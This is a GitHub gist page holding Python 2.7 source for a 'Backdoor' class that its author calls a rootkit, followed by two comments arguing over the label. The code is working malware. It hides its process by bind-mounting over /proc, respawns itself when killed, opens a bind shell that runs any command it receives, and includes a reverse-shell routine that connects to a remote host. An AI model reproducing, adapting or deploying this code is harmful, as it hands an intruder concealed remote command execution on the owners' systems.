Skip to content

Instantly share code, notes, and snippets.

@MantisSTS
Last active September 9, 2024 07:48
Show Gist options
  • Select an option

  • Save MantisSTS/891bbb1ed3461bdcbe0be9a3e508d0ea to your computer and use it in GitHub Desktop.

Select an option

Save MantisSTS/891bbb1ed3461bdcbe0be9a3e508d0ea to your computer and use it in GitHub Desktop.
Simple python rootkit
#!/usr/bin/python2.7
import socket
# import socks
import urllib2
import sys
import subprocess
import string
import random
import os
import signal
from time import sleep
class Backdoor:
def relaunch(self, signal, frame):
cmd = sys.argv
proc = subprocess.Popen(' '.join(cmd), stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
print "[+] Respawning..."
def hide_process(self):
ch = string.uppercase + string.digits
# Bind mount - works with root on linux
token = "".join(random.choice(ch) for i in range(32))
pid = os.getpid()
print "[+] Current PID: {0}".format(pid)
if os.path.isdir("/tmp/{0}".format(token)) is False:
if os.system("sudo whoami") == 'root':
os.system("sudo mkdir /tmp/{1} && sudo mount -o bind /tmp/{1} /proc/{0}".format(pid,token))
#Relaunch on kill
signal.signal(signal.SIGTERM, self.relaunch)
def shell_text(self, sock, data):
return sock.send("[{0}]> ".format(data))
def bind_shell(self, host=None, port=None):
if host is None:
return 0
if port is None:
port = int(44134)
sleep(5)
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.bind((host,port))
sock.listen(100)
while True:
client, address = sock.accept()
while True:
command = client.recv(1024).encode("UTF-8")
result = os.popen(command).read()
client.send(result)
self.shell_text(client, host)
except Exception as error:
print "[-] Failed to create socket: {0}".format(str(error))
# Default connection port is 44134
def connect_as_reverse_shell(self, host=None, port=None):
if host is None:
return 0
if port is None:
port = int(44134)
sleep(5)
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host,port))
cmd = ""
while True:
cmd = sock.recv(1024).encode("UTF-8")
proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
proc_out = "{0} {1}\n".format(proc.stdout.read(), proc.stderr.read())
sock.send(proc_out)
self.shell_text(sock, host)
sock.close()
except Exception as error:
print "[-] Failed to create socket: {0}".format(str(error))
return 0
if __name__ == '__main__':
bd = Backdoor()
bd.hide_process()
bd.bind_shell(sys.argv[1], int(sys.argv[2]))
# bd.connect_as_reverse_shell(str(sys.argv[1]), int(sys.argv[2]))
@peggy-48

Copy link
Copy Markdown

People are mistaking backdoors for rootkits (ROOTKITS ARE INVISIBLE AND ARE HARD TO DETECT BOI)

@batuafk

batuafk commented May 26, 2024

Copy link
Copy Markdown

true

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment